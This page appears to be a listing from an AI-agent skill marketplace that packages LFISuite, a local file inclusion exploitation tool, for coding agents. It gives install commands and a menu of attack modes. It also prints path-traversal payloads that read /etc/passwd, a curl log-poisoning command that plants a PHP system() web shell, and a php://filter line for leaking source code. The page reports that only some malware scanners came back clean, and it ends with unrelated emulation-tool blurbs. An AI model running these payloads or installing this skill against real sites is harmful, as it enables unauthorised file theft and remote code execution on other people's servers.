offensive-tools/web-app/lfisuite/SKILL.md
Automated Local File Inclusion testing and exploitation tool with path traversal and log poisoning. Use when testing and exploiting LFI vulnerabilities to achieve RCE via log poisoning or /proc inclusion.
npx skillsauth add aeondave/malskill lfisuiteInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Automated LFI tester and exploiter — path traversal, log poisoning, RCE.
git clone https://github.com/D35m0nd142/LFISuite
cd LFISuite && python3 lfisuite.py
# Or run directly (interactive)
python3 lfisuite.py
| Option | Purpose | |--------|---------| | 1 | Auto exploit (all techniques) | | 2 | /etc/passwd inclusion | | 3 | Log poisoning (Apache/Nginx) | | 4 | /proc/self/environ | | 5 | PHP wrapper (expect://) | | 6 | PHP wrapper (php://filter) | | 7 | PHP wrapper (php://input) | | 8 | Remote file inclusion (RFI) |
Confirm LFI manually first:
http://target.com/page.php?file=../../../../etc/passwd
http://target.com/page.php?file=....//....//etc/passwd
http://target.com/page.php?file=%2fetc%2fpasswd
Log poisoning to RCE:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
cmd=idPHP filter to read source:
?file=php://filter/convert.base64-encode/resource=index.php
| File | When to load |
|------|--------------|
| references/ | Wrapper techniques and filter bypass |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.